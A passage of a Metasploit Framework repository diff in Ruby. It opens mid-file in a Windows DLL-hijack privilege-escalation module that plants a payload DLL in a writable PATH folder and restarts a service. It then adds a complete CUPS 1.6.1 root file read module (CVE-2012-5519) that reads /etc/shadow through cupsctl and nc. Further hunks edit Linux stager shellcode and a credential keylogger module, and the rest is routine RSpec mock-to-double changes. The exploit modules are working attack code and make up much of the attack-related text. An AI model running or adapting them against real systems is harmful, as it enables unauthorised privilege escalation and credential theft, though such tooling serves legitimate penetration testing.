if sysinfo['Architecture'] =~ /x64/i
|
||||
if payload_instance.arch.first == 'x86'
|
||||
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||
end
|
||||
else
|
||||
if payload_instance.arch.first =~ /64/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_session_arch
|
||||
|
||||
begin
|
||||
@token = get_imperstoken
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
vprint_error("Error while using get_imperstoken: #{e}")
|
||||
end
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
|
||||
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
||||
end
|
||||
|
||||
print_status("Checking service exists...")
|
||||
if !check_service_exists?(@service_name)
|
||||
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
||||
end
|
||||
|
||||
if datastore['DIR'].empty?
|
||||
# If DLL already exists in system folders, we dont want to overwrite by accident
|
||||
if check_search_path
|
||||
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
|
||||
end
|
||||
|
||||
file_path = check_system_path
|
||||
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
|
||||
|
||||
if file_path.nil?
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
|
||||
end
|
||||
else
|
||||
# Use manually selected Dir
|
||||
file_path = datastore['DIR']
|
||||
end
|
||||
|
||||
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
|
||||
|
||||
service_information = service_info(@service_name)
|
||||
|
||||
if service_information['Startup'] == 'Disabled'
|
||||
print_status("Service is disabled, attempting to enable...")
|
||||
service_change_startup(@service_name, 'auto')
|
||||
service_information = service_info(@service_name)
|
||||
|
||||
# Still disabled
|
||||
if service_information['Startup'] == 'Disabled'
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
|
||||
end
|
||||
end
|
||||
|
||||
# Check architecture
|
||||
dll = generate_payload_dll
|
||||
|
||||
#
|
||||
# Drop the malicious executable into the path
|
||||
#
|
||||
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
|
||||
begin
|
||||
write_file(@dll_file_path, dll)
|
||||
register_file_for_cleanup(@dll_file_path)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
# Can't write the file, can't go on
|
||||
fail_with(Exploit::Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
#
|
||||
# Run the service, let the Windows API do the rest
|
||||
#
|
||||
print_status("Launching service #{@service_name}...")
|
||||
|
||||
begin
|
||||
status = service_start(@service_name)
|
||||
if status == 1
|
||||
print_status("Service already running, attempting to restart...")
|
||||
if service_stop(@service_name) == 0
|
||||
print_status("Service stopped, attempting to start...")
|
||||
if service_start(@service_name) == 0
|
||||
print_status("Service started...")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
|
||||
end
|
||||
elsif status == 0
|
||||
print_status("Service started...")
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
raise e if e.kind_of? Msf::Exploit::Failed
|
||||
if service_information['Startup'] == 'Manual'
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||
else
|
||||
if job_id
|
||||
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||
while(true)
|
||||
break if session_created?
|
||||
select(nil,nil,nil,1)
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -74,7 +74,8 @@ module Metasploit3
|
|||
# requirement. You can not upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
|
||||
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
|
||||
|
||||
jar.sign(key, cert, [cert])
|
||||
|
||||
|
|
|
@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
|
|
@ -24,7 +24,6 @@ module Metasploit3
|
|||
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
|
||||
|
||||
register_options([
|
||||
OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]),
|
||||
OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
|
||||
], self.class)
|
||||
end
|
||||
|
@ -71,21 +70,6 @@ module Metasploit3
|
|||
|
||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||
|
||||
if(datastore['PrependFork'])
|
||||
# fork() / parent does exit()
|
||||
|
||||
# If the target process is threaded, this means the thread
|
||||
# will exit. exit_group() will try to close the process down
|
||||
# completely.. and if we do that, it may not be reaped
|
||||
# correctly.
|
||||
#
|
||||
# Plus, depending on the vuln, we might get multiple shots at
|
||||
# owning a finite amount of threads.
|
||||
|
||||
midstager <<
|
||||
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
|
||||
end
|
||||
|
||||
midstager <<
|
||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
|
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
|
||||
LP_GROUPS = ['lpadmin', '_lpadmin']
|
||||
|
||||
attr_accessor :web_server_was_disabled, :error_log_was_reset
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'CUPS 1.6.1 Root File Read',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
|
||||
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
|
||||
configuration, which can specify an Error Log path. When the user visits the
|
||||
Error Log page in the web interface, the cupsd daemon (running with setuid root)
|
||||
reads the Error Log path and echoes it as plaintext.
|
||||
|
||||
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
|
||||
as long as the session is in the lpadmin group.
|
||||
|
||||
Warning: if the user has set up a custom path to the CUPS error log,
|
||||
this module might fail to reset that path correctly. You can specify
|
||||
a custom error log path with the ERROR_LOG datastore option.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-5519'],
|
||||
['OSVDB', '87635'],
|
||||
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
"Jann Horn", # discovery
|
||||
"joev <jvennix[at]rapid7.com>" # metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Nov 20 2012',
|
||||
'Platform' => ['osx', 'linux']
|
||||
}))
|
||||
register_options([
|
||||
OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
|
||||
OptString.new("ERROR_LOG",
|
||||
[true, "The original path to the CUPS error log", '/var/log/cups/error_log']
|
||||
)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check_exploitability
|
||||
user = cmd_exec("whoami")
|
||||
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
|
||||
if (user_groups & LP_GROUPS).empty?
|
||||
print_error "User not in lpadmin group."
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
else
|
||||
print_good "User in lpadmin group, continuing..."
|
||||
end
|
||||
|
||||
if ctl_path.blank?
|
||||
print_error "cupsctl binary not found in $PATH"
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
else
|
||||
print_good "cupsctl binary found in $PATH"
|
||||
end
|
||||
|
||||
nc_path = whereis("nc")
|
||||
if nc_path.nil? or nc_path.blank?
|
||||
print_error "Could not find nc executable"
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
else
|
||||
print_good "nc binary found in $PATH"
|
||||
end
|
||||
|
||||
config_path = whereis("cups-config")
|
||||
config_vn = nil
|
||||
|
||||
if config_path.nil? or config_path.blank?
|
||||
# cups-config not present, ask the web interface what vn it is
|
||||
output = get_request('/')
|
||||
if output =~ /title.*CUPS\s+([\d\.]+)/i
|
||||
config_vn = $1.strip
|
||||
end
|
||||
else
|
||||
config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
|
||||
end
|
||||
|
||||
if config_vn.nil?
|
||||
print_error "Could not determine CUPS version."
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status "Found CUPS #{config_vn}"
|
||||
|
||||
config_parts = config_vn.split('.')
|
||||
if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
|
||||
Msf::Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if check_exploitability == Msf::Exploit::CheckCode::Safe
|
||||
print_error "Target machine not vulnerable, bailing."
|
||||
return
|
||||
end
|
||||
|
||||
defaults = cmd_exec(ctl_path)
|
||||
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
|
||||
|
||||
# first we set the error log to the path intended
|
||||
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
|
||||
cmd_exec("#{ctl_path} WebInterface=yes")
|
||||
@error_log_was_reset = true
|
||||
|
||||
# now we go grab it from the ErrorLog route
|
||||
file = strip_http_headers(get_request('/admin/log/error_log'))
|
||||
|
||||
# and store as loot
|
||||
f = File.basename(datastore['FILE'])
|
||||
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
|
||||
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status "Cleaning up..."
|
||||
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
|
||||
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def prev_error_log_path; datastore['ERROR_LOG']; end
|
||||
def ctl_path; @ctl_path ||= whereis("cupsctl"); end
|
||||
def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
|
||||
|
||||
def whereis(exe)
|
||||
line = cmd_exec("whereis #{exe}")
|
||||
if line =~ /^\S+:\s*(\S*)/i
|
||||
$1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
|
||||
else
|
||||
line # on osx it just returns '/usr/sbin/cupsctl'
|
||||
end
|
||||
end
|
||||
|
||||
def get_request(uri)
|
||||
output = perform_request(uri, 'nc -j localhost 631')
|
||||
|
||||
if output =~ /^usage: nc/
|
||||
output = perform_request(uri, 'nc localhost 631')
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
def perform_request(uri, nc_str)
|
||||
# osx requires 3 newlines!
|
||||
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
|
||||
end
|
||||
end
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
|
||||
'Description' => %q{
|
||||
This module migrates and logs Microsoft Windows user's passwords via
|
||||
Winlogon.exe. Using idle time and natural system changes to give a
|
||||
Winlogon.exe using idle time and natural system changes to give a
|
||||
false sense of security to the user.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'mubix', 'cg' ],
|
||||
|
|
|
@ -11,6 +11,7 @@ require 'msf/core/post/common'
|
|||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -40,60 +41,6 @@ class Metasploit3 < Msf::Post
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
|
||||
#p = kern.GetCurrentProcess() #get handle to current process
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
def check_dir(dir, token)
|
||||
# If path doesn't exist, do not continue
|
||||
begin
|
||||
session.fs.dir.entries(dir)
|
||||
rescue => e
|
||||
vprint_error("#{e.message}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
def enum_subdirs(perm_filter, dpath, maxdepth, token)
|
||||
filter = datastore['FILTER']
|
||||
filter = nil if datastore['FILTER'] == 'NA'
|
||||
|
@ -110,7 +57,7 @@ class Metasploit3 < Msf::Post
|
|||
next if d =~ /^(\.|\.\.)$/
|
||||
realpath = dpath + '\\' + d
|
||||
if session.fs.file.stat(realpath).directory?
|
||||
perm = check_dir(realpath, token)
|
||||
perm = check_dir_perms(realpath, token)
|
||||
if perm_filter and perm and perm.include?(perm_filter)
|
||||
print_status(perm + "\t" + realpath)
|
||||
end
|
||||
|
@ -144,7 +91,7 @@ class Metasploit3 < Msf::Post
|
|||
t = get_imperstoken()
|
||||
rescue ::Exception => e
|
||||
# Failure due to timeout, access denied, etc.
|
||||
t = 0
|
||||
t = nil
|
||||
vprint_error("Error #{e.message} while using get_imperstoken()")
|
||||
vprint_error(e.backtrace)
|
||||
end
|
||||
|
@ -158,7 +105,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
print_status("Checking directory permissions from: #{path}")
|
||||
|
||||
perm = check_dir(path, token)
|
||||
perm = check_dir_perms(path, token)
|
||||
if not perm.nil?
|
||||
# Show the permission of the parent directory
|
||||
if perm_filter and perm.include?(perm_filter)
|
||||
|
@ -188,7 +135,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
t = get_token
|
||||
|
||||
if t == 0
|
||||
unless t
|
||||
print_error("Getting impersonation token failed")
|
||||
else
|
||||
print_status("Got token: #{t.to_s}...")
|
||||
|
|
|
@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
end
|
||||
|
||||
it 'should yield #connection' do
|
||||
connection = mock('Connection')
|
||||
connection = double('Connection')
|
||||
connection_pool.stub(:connection => connection)
|
||||
|
||||
expect { |block|
|
||||
|
|
|
@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do
|
|||
end
|
||||
|
||||
let(:mock_service) do
|
||||
mock_service = mock("service")
|
||||
mock_service = double("service")
|
||||
mock_service.stub(:server_name=)
|
||||
mock_service.stub(:add_resource)
|
||||
|
||||
|
|
|
@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do
|
|||
end
|
||||
|
||||
let(:framework) do
|
||||
mock('Framework')
|
||||
double('Framework')
|
||||
end
|
||||
|
||||
let(:module_extension) do
|
||||
|
|
|
@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'loader' do
|
||||
it 'should be a read/write attribute' do
|
||||
loader = mock('Loader')
|
||||
loader = double('Loader')
|
||||
namespace_module.loader = loader
|
||||
|
||||
namespace_module.loader.should == loader
|
||||
|
@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do
|
|||
it 'should capture the lexical scope' do
|
||||
expect {
|
||||
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
|
||||
}.to_not raise_error(NameError)
|
||||
}.to_not raise_error
|
||||
end
|
||||
|
||||
context 'with malformed module content' do
|
||||
|
@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'parent_path' do
|
||||
it 'should be a read/write attribute' do
|
||||
parent_path = mock('Parent Path')
|
||||
parent_path = double('Parent Path')
|
||||
namespace_module.parent_path = parent_path
|
||||
|
||||
namespace_module.parent_path.should == parent_path
|
||||
|
@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'instance methods' do
|
||||
let(:module_manager) do
|
||||
mock('Module Manager', :module_load_error_by_path => {})
|
||||
double('Module Manager', :module_load_error_by_path => {})
|
||||
end
|
||||
|
||||
subject do
|
||||
|
@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do
|
|||
module_manager.stub(:delete).with(module_reference_name)
|
||||
module_manager.stub(:file_changed?).with(module_path).and_return(true)
|
||||
|
||||
module_set = mock('Module Set')
|
||||
module_set = double('Module Set')
|
||||
module_set.stub(:delete).with(module_reference_name)
|
||||
module_manager.stub(:module_set).with(type).and_return(module_set)
|
||||
end
|
||||
|
@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'with errors from namespace_module_eval_with_lexical_scope' do
|
||||
before(:each) do
|
||||
@namespace_module = mock('Namespace Module')
|
||||
@namespace_module = double('Namespace Module')
|
||||
@namespace_module.stub(:parent_path=)
|
||||
|
||||
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
||||
module_content = mock('Module Content', :empty? => false)
|
||||
module_content = double('Module Content', :empty? => false)
|
||||
subject.stub(:read_module_content).and_return(module_content)
|
||||
end
|
||||
|
||||
|
@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'without module_eval errors' do
|
||||
before(:each) do
|
||||
@namespace_module = mock('Namespace Module')
|
||||
@namespace_module = double('Namespace Module')
|
||||
@namespace_module.stub(:parent_path=)
|
||||
@namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path)
|
||||
|
||||
metasploit_class = mock('Metasploit Class', :parent => @namespace_module)
|
||||
metasploit_class = double('Metasploit Class', :parent => @namespace_module)
|
||||
@namespace_module.stub(:metasploit_class! => metasploit_class)
|
||||
|
||||
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
||||
|
@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do
|
|||
|
||||
context 'with metasploit_class' do
|
||||
let(:metasploit_class) do
|
||||
mock('Metasploit Class')
|
||||
double('Metasploit Class')
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
|
@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do
|
|||
anything
|
||||
)
|
||||
|
||||
namespace_module = mock('Namespace Module')
|
||||
namespace_module = double('Namespace Module')
|
||||
namespace_module.stub(:loader=)
|
||||
subject.stub(:current_module => namespace_module)
|
||||
|
||||
|
@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do
|
|||
anything
|
||||
)
|
||||
|
||||
namespace_module = mock('Namespace Module')
|
||||
namespace_module = double('Namespace Module')
|
||||
namespace_module.stub(:loader=)
|
||||
subject.stub(:current_module => namespace_module)
|
||||
|
||||
|
@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do
|
|||
described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length
|
||||
)
|
||||
|
||||
namespace_module = mock('Namespace Module')
|
||||
namespace_module = double('Namespace Module')
|
||||
namespace_module.stub(:loader=)
|
||||
subject.stub(:current_module => namespace_module)
|
||||
|
||||
|
@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do
|
|||
end
|
||||
|
||||
it "should set the namespace_module's module loader to itself" do
|
||||
namespace_module = mock('Namespace Module')
|
||||
namespace_module = double('Namespace Module')
|
||||
|
||||
namespace_module.should_receive(:loader=).with(subject)
|
||||
|
||||
|
@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do
|
|||
# not defined on `nil`.
|
||||
expect {
|
||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||
}.to_not raise_error(NoMethodError)
|
||||
}.to_not raise_error
|
||||
end
|
||||
|
||||
context 'with namespace_module nil' do
|
||||
|
@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do
|
|||
context '#usable?' do
|
||||
context 'without metasploit_class responding to is_usable' do
|
||||
it 'should return true' do
|
||||
metasploit_class = mock('Metasploit Class')
|
||||
metasploit_class = double('Metasploit Class')
|
||||
metasploit_class.should_not respond_to(:is_usable)
|
||||
|
||||
subject.send(:usable?, metasploit_class).should be_true
|
||||
|
@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do
|
|||
it 'should delegate to metasploit_class.is_usable' do
|
||||
# not a proper return, but guarantees that delegation is actually happening
|
||||
usability = 'maybe'
|
||||
metasploit_class = mock('Metasploit Class', :is_usable => usability)
|
||||
metasploit_class = double('Metasploit Class', :is_usable => usability)
|
||||
|
||||
subject.send(:usable?, metasploit_class).should == usability
|
||||
end
|
||||
|
@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do
|
|||
end
|
||||
|
||||
let(:metasploit_class) do
|
||||
metasploit_class = mock('Metasploit Class')
|
||||
metasploit_class = double('Metasploit Class')
|
||||
|
||||
metasploit_class.stub(:is_usable).and_raise(error)
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do
|
|||
include_context 'Msf::Modules::Loader::Base'
|
||||
|
||||
let(:module_manager) do
|
||||
mock('Module Manager')
|
||||
double('Module Manager')
|
||||
end
|
||||
|
||||
let(:module_path) do
|
||||
|
@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do
|
|||
context '#load_module' do
|
||||
context 'with existent module_path' do
|
||||
let(:framework) do
|
||||
framework = mock('Msf::Framework', :datastore => {})
|
||||
framework = double('Msf::Framework', :datastore => {})
|
||||
|
||||
events = mock('Events')
|
||||
events = double('Events')
|
||||
events.stub(:on_module_load)
|
||||
events.stub(:on_module_created)
|
||||
framework.stub(:events => events)
|
||||
|
|
|
@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do
|
|||
it 'should not raise an error' do
|
||||
expect {
|
||||
subject.version_compatible!(module_path, module_reference_name)
|
||||
}.to_not raise_error(Msf::Modules::VersionCompatibilityError)
|
||||
}.to_not raise_error
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,12 +5,12 @@ require 'msf/core/option_container'
|
|||
|
||||
describe Msf::OptionContainer do
|
||||
it "should create new options for it's args" do
|
||||
foo_inst = mock("foo_inst")
|
||||
foo_inst = double("foo_inst")
|
||||
foo_inst.stub(:advanced=)
|
||||
foo_inst.stub(:evasion=)
|
||||
foo_inst.stub(:owner=)
|
||||
|
||||
foo_class = mock("opt_class")
|
||||
foo_class = double("opt_class")
|
||||
foo_class.should_receive(:new).and_return(foo_inst)
|
||||
|
||||
foo_inst.should_receive(:name).and_return("thing")
|
||||
|
|
|
@ -158,7 +158,7 @@ describe Msf::DBManager do
|
|||
let(:module_instance) do
|
||||
name = 'multi/handler'
|
||||
|
||||
mock(
|
||||
double(
|
||||
'Msf::Module',
|
||||
:fullname => "exploit/#{name}",
|
||||
:framework => framework,
|
||||
|
@ -268,7 +268,7 @@ describe Msf::DBManager do
|
|||
|
||||
context 'with workspace from either :workspace or session' do
|
||||
it 'should pass normalized host from session as :host to #find_or_create_host' do
|
||||
normalized_host = mock('Normalized Host')
|
||||
normalized_host = double('Normalized Host')
|
||||
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
|
||||
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
|
||||
db_manager.stub(:report_vuln)
|
||||
|
@ -583,7 +583,7 @@ describe Msf::DBManager do
|
|||
|
||||
context 'without Msf::Session' do
|
||||
let(:session) do
|
||||
mock('Not a Msf::Session')
|
||||
double('Not a Msf::Session')
|
||||
end
|
||||
|
||||
it 'should raise ArgumentError' do
|
||||
|
|
|
@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do
|
|||
end
|
||||
|
||||
it "should send creds after receiving a 401" do
|
||||
conn = mock
|
||||
conn = double
|
||||
conn.stub(:put)
|
||||
conn.stub(:shutdown)
|
||||
conn.stub(:close)
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
module Shoulda # :nodoc:
|
||||
module Matchers
|
||||
module ActiveRecord # :nodoc:
|
||||
|
||||
# Ensures that the number of database queries is known. Rails 3.1 or greater is required.
|
||||
#
|
||||
# Options:
|
||||
# * <tt>when_calling</tt> - Required, the name of the method to examine.
|
||||
# * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine.
|
||||
# * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times.
|
||||
#
|
||||
# Examples:
|
||||
# it { should query_the_database(4.times).when_calling(:complicated_counting_method)
|
||||
# it { should query_the_database(4.times).or_less.when_calling(:generate_big_report)
|
||||
# it { should_not query_the_database.when_calling(:cached_count)
|
||||
#
|
||||
def query_the_database(times = nil)
|
||||
QueryTheDatabaseMatcher.new(times)
|
||||
end
|
||||
|
||||
class QueryTheDatabaseMatcher # :nodoc:
|
||||
def initialize(times)
|
||||
@queries = []
|
||||
@options = {}
|
||||
|
||||
if times.respond_to?(:count)
|
||||
@options[:expected_query_count] = times.count
|
||||
else
|
||||
@options[:expected_query_count] = times
|
||||
end
|
||||
end
|
||||
|
||||
def when_calling(method_name)
|
||||
@options[:method_name] = method_name
|
||||
self
|
||||
end
|
||||
|
||||
def with(*method_arguments)
|
||||
@options[:method_arguments] = method_arguments
|
||||
self
|
||||
end
|
||||
|
||||
def or_less
|
||||
@options[:expected_count_is_maximum] = true
|
||||
self
|
||||
end
|
||||
|
||||
def matches?(subject)
|
||||
subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload|
|
||||
@queries << payload unless filter_query(payload)
|
||||
end
|
||||
|
||||
if @options[:method_arguments]
|
||||
subject.send(@options[:method_name], *@options[:method_arguments])
|
||||
else
|
||||
subject.send(@options[:method_name])
|
||||
end
|
||||
|
||||
ActiveSupport::Notifications.unsubscribe(subscriber)
|
||||
|
||||
if @options[:expected_count_is_maximum]
|
||||
@queries.length <= @options[:expected_query_count]
|
||||
elsif @options[:expected_query_count].present?
|
||||
@queries.length == @options[:expected_query_count]
|
||||
else
|
||||
@queries.length > 0
|
||||
end
|
||||
end
|
||||
|
||||
def failure_message_for_should
|
||||
if @options.key?(:expected_query_count)
|
||||
"Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||
else
|
||||
"Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||
end
|
||||
end
|
||||
|
||||
def failure_message_for_should_not
|
||||
if @options[:expected_query_count]
|
||||
